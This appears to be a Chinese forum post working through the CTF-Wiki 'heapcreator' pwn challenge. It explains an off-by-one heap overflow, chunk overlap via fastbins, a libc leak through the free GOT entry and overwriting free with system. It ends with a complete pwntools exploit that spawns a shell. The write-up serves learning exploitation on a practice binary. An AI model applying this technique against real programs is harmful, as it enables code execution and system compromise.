本帖最后由 peiwithhao 于 2022-10-8 11:01 编辑
CTF-WIKI 学习PWN heapcreator
1.checksec 发现got表可写
2.程序逻辑
其中create是首先在一个结构体数组中创建0x20大小的堆,这个堆块用来指向你自己所创建的堆块
可以看出第一个堆块结构他的第一个字段就是你自己所创建堆块的大小,第二个字段即为指向第二个堆块的地址,可以i从上图看出来很明显。
然后就是这个edit函数,你说题目出题就算脱离现实也不能这么脱离吧,正常程序员也不会在这专门加个一吧,除非他是社工
这里发现可以通过off-by-one进行堆栈溢出,我们可以通过这个漏洞来修改下一个heaparray的大小字段,然后将其free掉,就比如说我本来是heaparray堆只有0x20,加上我自己申请的0x20大小的堆块,此时我通过这个漏洞将heaparray堆块的大小修改为0x40,这时候我free掉他的时候他就会被放到fastbins中,并且此时这个空闲块是0x40大小,此时若我再申请0x40大小的话他就会将整块0x40大小的堆块分配给我(其中就有以前的heaparray块和我以前申请的堆块),这样就达到了一个任意写的目的。
然后之后就是常规的修改got表中free项的行为,此利用即利用了__free_hook的知识,其完整exp如下
from pwn import *
elf = ELF('./heapcreator')
io = process('./heapcreator')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
free_addr = elf.symbols['free']
free_got = elf.got['free']
context.log_level = 'INFO'
io.success("free_addr is :"+hex(free_addr))
def create(size,content):
io.recvuntil(':')
io.sendline('1')
io.recvuntil(': ')
io.sendline(str(size))
io.recvuntil(':')
io.sendline(content)
def edit(index,content): #在这里进行off-by-one
io.recvuntil(':')
io.sendline('2')
io.recvuntil(':')
io.sendline(str(index))
io.recvuntil(": ")
#gdb.attach(io)
io.sendline(content)
def show(index):
io.recvuntil(':')
io.sendline('3')
io.recvuntil(':')
io.sendline(str(index))
def delete(index):
io.recvuntil(':')
io.sendline('4')
io.recvuntil(':')
io.sendline(str(index))
create(0x18,'a'*8) #off-by-one攻击块
create(0x10,'b'*8) #释放之后的修改块
create(24,'c'*8) #
create(24,'d'*8)
create(24,'e'*8)
show(0)
pl1 = '/bin/sh\x00'+'a'*0x10 + '\x41'
edit(0,pl1) #将块大小改为0x41
#首先释放块1
delete(1) #此时实际上释放了0x41块
pl2 = p64(0)*4 + p64(30) + p64(free_got)
create(0x30,pl2)
show(1)
sleep(1)
io.recvuntil('Content : ')
free_got = u64(io.recv(6).ljust(8,b'\x00'))
io.success('free_got address is: '+ hex(free_got))
free_libc = libc.sym['free']
system_addr = libc.sym['system']
libc_base = free_got - free_libc
system_addr += libc_base
io.success("system addr is :"+hex(system_addr))
edit(1,p64(system_addr))
delete(0)
io.interactive()
|